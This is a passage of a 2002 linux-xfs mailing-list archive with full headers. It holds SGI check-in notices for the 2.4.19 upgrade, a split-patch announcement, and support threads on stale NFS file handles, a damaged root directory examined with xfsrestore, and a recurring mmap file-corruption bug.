Subject: TAKE - Upgrade to 2.4.19 X-Spam-Status: No, hits=2.2 required=5.0 tests=MAY_BE_FORGED,MISSING_HEADERS version=2.20 X-Spam-Level: ** Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Upgrade to 2.4.19. One of the easier changes :) Date: Fri Aug 2 18:10:05 PDT 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124270a linux/Makefile - 1.178 From owner-linux-xfs@oss.sgi.com Fri Aug 2 19:09:24 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7329NRw017859 for ; Fri, 2 Aug 2002 19:09:24 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7329Nbp017858 for linux-xfs-outgoing; Fri, 2 Aug 2002 19:09:23 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from gum.csee.uq.edu.au (gum.csee.uq.edu.au [130.102.66.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7329ERw017830 for ; Fri, 2 Aug 2002 19:09:15 -0700 Received: from luma.csee.uq.edu.au (luma.csee.uq.edu.au [130.102.66.14]) by gum.csee.uq.edu.au (8.12.5/8.12.5) with ESMTP id g732Ad8Z019322; Sat, 3 Aug 2002 12:10:39 +1000 (EST) Received: from mango.csee.uq.edu.au (mango.csee.uq.edu.au [130.102.66.4]) by luma.csee.uq.edu.au (8.11.6/8.11.6) with ESMTP id g732AdA03224; Sat, 3 Aug 2002 12:10:39 +1000 (EST) Date: Sat, 3 Aug 2002 12:10:39 +1000 (EST) From: Chris Pascoe X-X-Sender: chrisp@mango.csee.uq.edu.au To: James Pearson cc: linux-xfs@oss.sgi.com Subject: Re: XFS and stale NFS file handles? In-Reply-To: <3D4AA290.9B2E6D6D@moving-picture.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Checked: This message probably not SPAM X-Spam-Score: -3.5 X-Spam-Tests: IN_REP_TO,SUBJ_ENDS_IN_Q_MARK X-Scanned-By: MIMEDefang 2.15 (www dot roaringpenguin dot com slash mimedefang) X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi James, On Fri, 2 Aug 2002, James Pearson wrote: > A couple of my users have recently reported problems with stale NFS file > handles - unfortunately the problem seems to be 'transient', in that > when I try and investigate the 'problem' - it's gone away ... > > I know there are/have been NFS/XFS issues - could these show up as > transient stale NFS file handles? This sounds like the same problem I used to have and helped debug. There have been a number of changes in CVS that address this. The problem is on the server-side, and relates to how permissions are rechecked when a handle has expired from the dentry cache. XFS CVS from May 22 2002 or later does not exhibit this problem. A patch a month or so ago also addressed a problem with umasks across NFS effectively being ignored. I strongly recommend trying a CVS kernel out on the NFS server and seeing if the problem goes away for you. I am currently running XFS CVS from around that time in May plus some of the "critical" patches that I have seen TAKEs for and haven't seen the problem since that time and have had no stability problems on my 3 file servers serving up over 2TB of data to about 1200 clients. Regards, Chris From owner-linux-xfs@oss.sgi.com Fri Aug 2 21:55:04 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g734t4Rw019712 for ; Fri, 2 Aug 2002 21:55:04 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g734t4cZ019711 for linux-xfs-outgoing; Fri, 2 Aug 2002 21:55:04 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g734ssRw019681 for ; Fri, 2 Aug 2002 21:54:55 -0700 Received: (qmail 20821 invoked from network); 3 Aug 2002 04:56:36 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 3 Aug 2002 04:56:35 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id DD6BC3000BA; Sat, 3 Aug 2002 14:56:32 +1000 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id 75FB694; Sat, 3 Aug 2002 14:56:32 +1000 (EST) X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 From: Keith Owens To: linux-xfs@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Announce: XFS split patches for 2.4.19 Date: Sat, 03 Aug 2002 14:56:26 +1000 Message-ID: <10959.1028350586@ocs3.intra.ocs.com.au> X-Spam-Status: No, hits=-2.1 required=5.0 tests=PGP_SIGNATURE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Content-Type: text/plain; charset=us-ascii ftp://oss.sgi.com/projects/xfs/download/patches/2.4.19. For some time the XFS group have been producing split patches for XFS, separating the core XFS changes from additional patches such as kdb, xattr, acl, dmapi, kbuild 2.5. These patches were initially intended for internal use and for feeding to Linus but we got no response at all. The split patches are now being released to the world with the hope that developers and distributors will find them useful. Read the README in each directory very carefully, the split patch format has changed over a few kernel releases. Any questions that are covered by the README will be ignored. There is even a 2.4.20/README for the terminally impatient :). -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.1.1 10/15/1999 iD8DBQE9S2J4i4UHNye0ZOoRAhWGAJ4pWNKVZAn5r2dWpk9frItUNkYcmgCgyXSU I3wu2s2oNocwUehqd0Phhzc= =vrKP -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Fri Aug 2 22:08:33 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7358XRw020055 for ; Fri, 2 Aug 2002 22:08:33 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7358XVO020054 for linux-xfs-outgoing; Fri, 2 Aug 2002 22:08:33 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7358SRw020026 for ; Fri, 2 Aug 2002 22:08:28 -0700 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id WAA05609 for ; Fri, 2 Aug 2002 22:10:47 -0700 (PDT) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id g7359vM03278; Sat, 3 Aug 2002 15:09:57 +1000 Date: Sat, 3 Aug 2002 15:09:57 +1000 From: Keith Owens Message-Id: <200208030509.g7359vM03278@sherman.melbourne.sgi.com> Subject: TAKE - Allow xfs to build with highmem X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Workaround a kernel bug where VMALLOC_END is undefined for highmem. Date: Fri Aug 2 22:04:12 PDT 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124272a linux/include/linux/vmalloc.h - 1.15 From owner-linux-xfs@oss.sgi.com Sat Aug 3 02:37:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g739blRw022064 for ; Sat, 3 Aug 2002 02:37:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g739blKl022063 for linux-xfs-outgoing; Sat, 3 Aug 2002 02:37:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.ima.pl (dns.ima.pl [195.117.13.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g739bORw022033 for ; Sat, 3 Aug 2002 02:37:26 -0700 Received: from ima.pl (helios.globalintech.pl [62.89.81.98]) by mail.ima.pl with ESMTPid g739d5T26876 for ; Sat, 3 Aug 2002 11:39:05 +0200 Message-ID: <3D4BA4BC.2000700@ima.pl> Date: Sat, 03 Aug 2002 11:39:08 +0200 From: "Blizbor (IMA)" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: HELP - serious problem, weird filesystem behaviour ... Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=1.0 required=5.0 tests=FROM_ENDS_IN_NUMS version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, Yesterday in mc programm I have deleted few directories on \ filesystem (i.e. \ola \ala \iza). These are very small so deletion was rapid. Then problem started. ls / doesnt show anything however I still can do cd /home; cd /root; cd /bin ... all files are found. Almost everything is working. Im afraid to reboot these machine. I have done xfs_ncheck - shows that fs contains data. I have done xfsdump, then during archive validation I found something strange for me: [root@localhost /root]# xfsrestore -t -f /home/XFSdump_rootFS.bin | head -1000 xfsrestore: version 3.0 - Running single-threaded xfsrestore: searching media for dump xfsrestore: examining media file 0 xfsrestore: dump description: xfsrestore: hostname: localhost xfsrestore: mount point: / xfsrestore: volume: /dev/ide/host0/bus0/target0/lun0/part1 xfsrestore: session time: Sat Aug 3 11:07:37 2002 xfsrestore: level: 0 xfsrestore: session label: "dump po awarii 2002.08.02 robiony rano 08.03" xfsrestore: media label: ""dump po awarii 2002.08.02 robiony rano 08.0"" xfsrestore: file system id: 978d4a02-4027-11d5-89bc-c22eca534389 xfsrestore: session id: c391475d-cd00-45a2-a7b6-ea13a0089331 xfsrestore: media id: d0eedb2f-5568-4e69-a0d2-70815d7476e7 xfsrestore: searching media for directory dump xfsrestore: reading directories xfsrestore: directory post-processing xfsrestore: reading non-directory files xfsrestore: NOTE: ino 135 salvaging file, placing in orphanage/524417.0/lib/locale/ar_IN/LC_MESSAGES/SYS_LC_MESSAGES orphanage/524417.0/lib/locale/ar_IN/LC_MESSAGES/SYS_LC_MESSAGES xfsrestore: NOTE: ino 144 salvaging file, placing in orphanage/524417.0/lib/locale/en_CA/LC_MESSAGES/SYS_LC_MESSAGES orphanage/524417.0/lib/locale/en_CA/LC_MESSAGES/SYS_LC_MESSAGES xfsrestore: NOTE: ino 154 salvaging file, placing in orphanage/524417.0/lib/locale/eu_ES/LC_MESSAGES/SYS_LC_MESSAGES orphanage/524417.0/lib/locale/eu_ES/LC_MESSAGES/SYS_LC_MESSAGES xfsrestore: NOTE: ino 157 salvaging file, placing in orphanage/524417.0/lib/locale/fr_CH/LC_MESSAGES/SYS_LC_MESSAGES orphanage/524417.0/lib/locale/fr_CH/LC_MESSAGES/SYS_LC_MESSAGES xfsrestore: NOTE: ino 159 salvaging file, placing in orphanage/524417.0/lib/locale/fr_LU/LC_MESSAGES/SYS_LC_MESSAGES orphanage/524417.0/lib/locale/fr_LU/LC_MESSAGES/SYS_LC_MESSAGES xfsrestore: NOTE: ino 162 salvaging file, placing in orphanage/524417.0/lib/locale/hr_HR/LC_MESSAGES/SYS_LC_MESSAGES orphanage/524417.0/lib/locale/hr_HR/LC_MESSAGES/SYS_LC_MESSAGES xfsrestore: NOTE: ino 164 salvaging file, placing in orphanage/524417.0/lib/locale/it_CH/LC_MESSAGES/SYS_LC_MESSAGES orphanage/524417.0/lib/locale/it_CH/LC_MESSAGES/SYS_LC_MESSAGES What does it means ? Is it possible to repair that system without data lost ? Another try of the validation shows: [root@localhost /root]# xfsrestore -i -f /home/XFSdump_rootFS.bin /tmp xfsrestore: version 3.0 - Running single-threaded xfsrestore: searching media for dump xfsrestore: examining media file 0 xfsrestore: dump description: xfsrestore: hostname: localhost xfsrestore: mount point: / xfsrestore: volume: /dev/ide/host0/bus0/target0/lun0/part1 xfsrestore: session time: Sat Aug 3 11:07:37 2002 xfsrestore: level: 0 xfsrestore: session label: "dump po awarii 2002.08.02 robiony rano 08.03" xfsrestore: media label: ""dump po awarii 2002.08.02 robiony rano 08.0"" xfsrestore: file system id: 978d4a02-4027-11d5-89bc-c22eca534389 xfsrestore: session id: c391475d-cd00-45a2-a7b6-ea13a0089331 xfsrestore: media id: d0eedb2f-5568-4e69-a0d2-70815d7476e7 xfsrestore: searching media for directory dump xfsrestore: reading directories xfsrestore: directory post-processing ========================== subtree selection dialog ========================== the following commands are available: pwd ls [ ] cd [ ] add [ ] delete [ ] extract quit help -> ls -> ls / -> ls /root /root not found -> ls root root not found Am I doing something wrong ? Other info about that system: p2, 512MB, IDE drive, devfs. [root@localhost /root]# rpm -qa | grep xfs xfsprogs-1.1.7-0 xfsdump-1.0.2-0 xfsprogs-devel-1.1.7-0 [root@localhost /root]# cat /proc/version Linux version 2.4.4-xfs (root@localhost) (gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-75)) #2 Sat Jun 2 17:12:38 CEST 2001 [root@localhost /root]# mount /dev/ide/host0/bus0/target0/lun0/part1 on / type xfs (rw,noatime,nodiratime) none on /proc type proc (rw) devfs on /dev type devfs (rw) /dev/ide/host0/bus0/target0/lun0/part5 on /home type xfs (rw,noatime,nodiratime) /dev/ide/host0/bus0/target0/lun0/part8 on /tmp type xfs (rw,noatime,nodiratime) /dev/ide/host0/bus0/target0/lun0/part6 on /var type xfs (rw,noatime,nodiratime) /dev/ide/host0/bus0/target0/lun0/part5 on /var/spool type xfs (rw,noatime,nodiratime) none on /dev/pts type devpts (rw,gid=5,mode=620) [root@localhost /root]# Regards, Blizbor From owner-linux-xfs@oss.sgi.com Sat Aug 3 06:27:53 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73DRrRw025068 for ; Sat, 3 Aug 2002 06:27:53 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73DRr7p025067 for linux-xfs-outgoing; Sat, 3 Aug 2002 06:27:53 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from fruit.eu.org (qmailr@18dyn196.ztm.casema.net [213.17.33.196]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73DRjRw025038 for ; Sat, 3 Aug 2002 06:27:46 -0700 Received: (qmail 1042 invoked by uid 500); 3 Aug 2002 13:29:27 -0000 Date: Sat, 3 Aug 2002 15:29:27 +0200 From: Wessel Dankers To: linux-xfs@oss.sgi.com Subject: The mmap() problem is back Message-ID: <20020803132927.GA576@fruit.eu.org> Mail-Followup-To: linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-oi: oi X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk oi! It seems that the problem that was fixed in http://marc.theaimsgroup.com/?l=linux-xfs&m=102440993727959&w=2 is back again. gcc 3.1 is barfing on some typical errors like weird characters at the end of the file on non-existant lines. mapcheck finds files to fix every time those source files are generated. Kernel is CVS from 2002-08-03 11:48 UTC (the one directly after the 2.4.19 final release). Since it's relevant again, here's the link to the latest mapcheck.c: http://fruit.eu.org/mapcheck.c HTH, -- Wessel Dankers Lusers learning curve appears to be fractal From owner-linux-xfs@oss.sgi.com Sat Aug 3 07:13:41 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73EDfRw025668 for ; Sat, 3 Aug 2002 07:13:41 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73EDfSp025667 for linux-xfs-outgoing; Sat, 3 Aug 2002 07:13:41 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73EDXRw025639 for ; Sat, 3 Aug 2002 07:13:34 -0700 Received: (qmail 4714 invoked from network); 3 Aug 2002 14:15:15 -0000 Received: from ocs3.intra.ocs.com.au (192.168.255.3) by mail.ocs.com.au with SMTP; 3 Aug 2002 14:15:15 -0000 Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331) id DABCA3000BA; Sun, 4 Aug 2002 00:15:09 +1000 (EST) Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1]) by ocs3.intra.ocs.com.au (Postfix) with ESMTP id 311C594; Sun, 4 Aug 2002 00:15:09 +1000 (EST) X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4 From: Keith Owens To: Wessel Dankers Cc: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back In-reply-to: Your message of "Sat, 03 Aug 2002 15:29:27 +0200." <20020803132927.GA576@fruit.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 04 Aug 2002 00:15:03 +1000 Message-ID: <9862.1028384103@ocs3.intra.ocs.com.au> X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Sat, 3 Aug 2002 15:29:27 +0200, Wessel Dankers wrote: >It seems that the problem that was fixed in >http://marc.theaimsgroup.com/?l=linux-xfs&m=102440993727959&w=2 >is back again. gcc 3.1 is barfing on some typical errors like weird >characters at the end of the file on non-existant lines. mapcheck >finds files to fix every time those source files are generated. > >Kernel is CVS from 2002-08-03 11:48 UTC (the one directly after the 2.4.19 >final release). > >Since it's relevant again, here's the link to the latest mapcheck.c: > > http://fruit.eu.org/mapcheck.c I don't see this problem, running xfs 2.4.19. mapcheck finds no errors, the test case from http://marc.theaimsgroup.com/?l=linux-xfs&m=102408887618294&w=2 passes. However I am running gcc 2.96, not 3.1. Can you supply a small test case that always fails? From owner-linux-xfs@oss.sgi.com Sat Aug 3 07:22:30 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73EMURw025929 for ; Sat, 3 Aug 2002 07:22:30 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73EMUXd025928 for linux-xfs-outgoing; Sat, 3 Aug 2002 07:22:30 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from fruit.eu.org (qmailr@18dyn196.ztm.casema.net [213.17.33.196]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73EMMRw025900 for ; Sat, 3 Aug 2002 07:22:23 -0700 Received: (qmail 1270 invoked by uid 500); 3 Aug 2002 14:24:05 -0000 Date: Sat, 3 Aug 2002 16:24:05 +0200 From: Wessel Dankers To: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back Message-ID: <20020803142405.GC576@fruit.eu.org> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020803132927.GA576@fruit.eu.org> <9862.1028384103@ocs3.intra.ocs.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9862.1028384103@ocs3.intra.ocs.com.au> User-Agent: Mutt/1.4i X-oi: oi X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On 2002-08-04 00:15:03+1000, Keith Owens wrote: > I don't see this problem, running xfs 2.4.19. mapcheck finds no > errors, the test case from > http://marc.theaimsgroup.com/?l=linux-xfs&m=102408887618294&w=2 passes. > However I am running gcc 2.96, not 3.1. Can you supply a small test > case that always fails? It's the compiler itself that fails, once the source file is corrected it produces a correct executable. A simple test case for me is: % rm -f foo % dmesg >foo % ls -l foo -rw-r----- 1 wsl wsl 8557 Aug 3 16:18 foo % mapcheck foo 1 files scanned 1 files fixed 0 errors % mapcheck foo 1 files scanned 0 files fixed 0 errors The bug crops up when the file is created. It also doesn't happen 100% of the time: when I created a "bar" file to test it again, it passed. I'm not able to determine what triggers the problem. Kind regards, -- Wessel Dankers You've been infected by the Telescoping Hubble virus. From owner-linux-xfs@oss.sgi.com Sat Aug 3 09:03:53 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73G3rRw027085 for ; Sat, 3 Aug 2002 09:03:53 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73G3rVB027084 for linux-xfs-outgoing; Sat, 3 Aug 2002 09:03:53 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73G3gRw027055 for ; Sat, 3 Aug 2002 09:03:42 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA65263; Sat, 3 Aug 2002 11:05:21 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-9.corp.sgi.com [134.15.64.9]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id LAA11160; Sat, 3 Aug 2002 11:05:21 -0500 (CDT) Subject: Re: The mmap() problem is back From: Stephen Lord To: Wessel Dankers Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020803142405.GC576@fruit.eu.org> References: <20020803132927.GA576@fruit.eu.org> <9862.1028384103@ocs3.intra.ocs.com.au> <20020803142405.GC576@fruit.eu.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 03 Aug 2002 11:02:55 -0500 Message-Id: <1028390577.1131.4.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Sat, 2002-08-03 at 09:24, Wessel Dankers wrote: > On 2002-08-04 00:15:03+1000, Keith Owens wrote: > > I don't see this problem, running xfs 2.4.19. mapcheck finds no > > errors, the test case from > > http://marc.theaimsgroup.com/?l=linux-xfs&m=102408887618294&w=2 passes. > > However I am running gcc 2.96, not 3.1. Can you supply a small test > > case that always fails? > > It's the compiler itself that fails, once the source file is corrected it > produces a correct executable. A simple test case for me is: > > % rm -f foo > % dmesg >foo > % ls -l foo > -rw-r----- 1 wsl wsl 8557 Aug 3 16:18 foo > % mapcheck foo > 1 files scanned 1 files fixed 0 errors If I remember correctly, that output means it found nothing wrong. Steve > % mapcheck foo > 1 files scanned 0 files fixed 0 errors > > The bug crops up when the file is created. It also doesn't happen 100% of > the time: when I created a "bar" file to test it again, it passed. I'm not > able to determine what triggers the problem. > > Kind regards, > > -- > Wessel Dankers > > You've been infected by the Telescoping Hubble virus. From owner-linux-xfs@oss.sgi.com Sat Aug 3 09:07:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73G7MRw027298 for ; Sat, 3 Aug 2002 09:07:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73G7Mc4027297 for linux-xfs-outgoing; Sat, 3 Aug 2002 09:07:22 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from fruit.eu.org (qmailr@18dyn196.ztm.casema.net [213.17.33.196]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73G7FRw027269 for ; Sat, 3 Aug 2002 09:07:16 -0700 Received: (qmail 1491 invoked by uid 500); 3 Aug 2002 16:08:59 -0000 Date: Sat, 3 Aug 2002 18:08:59 +0200 From: Wessel Dankers To: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back Message-ID: <20020803160859.GE576@fruit.eu.org> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020803132927.GA576@fruit.eu.org> <9862.1028384103@ocs3.intra.ocs.com.au> <20020803142405.GC576@fruit.eu.org> <1028390577.1131.4.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1028390577.1131.4.camel@laptop.americas.sgi.com> User-Agent: Mutt/1.4i X-oi: oi X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On 2002-08-03 11:02:55-0500, Stephen Lord wrote: > > % mapcheck foo > > 1 files scanned 1 files fixed 0 errors > If I remember correctly, that output means it found nothing wrong. It says "1 files fixed". That means it found a problem :) > > % mapcheck foo > > 1 files scanned 0 files fixed 0 errors Now it is already fixed, and finds no error. Kind regards, -- Wessel Dankers waste water tank overflowed onto computer From owner-linux-xfs@oss.sgi.com Sat Aug 3 09:13:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73GDiRw027484 for ; Sat, 3 Aug 2002 09:13:44 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73GDi04027483 for linux-xfs-outgoing; Sat, 3 Aug 2002 09:13:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73GDcRw027455 for ; Sat, 3 Aug 2002 09:13:38 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA93274; Sat, 3 Aug 2002 11:15:17 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-9.corp.sgi.com [134.15.64.9]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id LAA83672; Sat, 3 Aug 2002 11:15:17 -0500 (CDT) Subject: Re: The mmap() problem is back From: Stephen Lord To: Wessel Dankers Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020803160859.GE576@fruit.eu.org> References: <20020803132927.GA576@fruit.eu.org> <9862.1028384103@ocs3.intra.ocs.com.au> <20020803142405.GC576@fruit.eu.org> <1028390577.1131.4.camel@laptop.americas.sgi.com> <20020803160859.GE576@fruit.eu.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 03 Aug 2002 11:12:52 -0500 Message-Id: <1028391174.1131.8.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Sat, 2002-08-03 at 11:08, Wessel Dankers wrote: > On 2002-08-03 11:02:55-0500, Stephen Lord wrote: > > > % mapcheck foo > > > 1 files scanned 1 files fixed 0 errors > > > If I remember correctly, that output means it found nothing wrong. > > It says "1 files fixed". That means it found a problem :) > > > > % mapcheck foo > > > 1 files scanned 0 files fixed 0 errors > > Now it is already fixed, and finds no error. You are right of course, shows what an hour or so on a lawnmower does for my brain! Does not exhibit the problem on a couple of machines here. You are really running the kernel you think you are, aren't you? Steve From owner-linux-xfs@oss.sgi.com Sat Aug 3 09:58:07 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g73Gw7Rw027907 for ; Sat, 3 Aug 2002 09:58:07 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g73Gw7Ul027906 for linux-xfs-outgoing; Sat, 3 Aug 2002 09:58:07 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from fruit.eu.org (qmailr@18dyn196.ztm.casema.net [213.17.33.196]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g73GvvRw027877 for ; Sat, 3 Aug 2002 09:57:58 -0700 Received: (qmail 1601 invoked by uid 500); 3 Aug 2002 16:59:41 -0000 Date: Sat, 3 Aug 2002 18:59:41 +0200 From: Wessel Dankers To: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back Message-ID: <20020803165941.GF576@fruit.eu.org> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020803132927.GA576@fruit.eu.org> <9862.1028384103@ocs3.intra.ocs.com.au> <20020803142405.GC576@fruit.eu.org> <1028390577.1131.4.camel@laptop.americas.sgi.com> <20020803160859.GE576@fruit.eu.org> <1028391174.1131.8.camel@laptop.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1028391174.1131.8.camel@laptop.americas.sgi.com> User-Agent: Mutt/1.4i X-oi: oi X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO 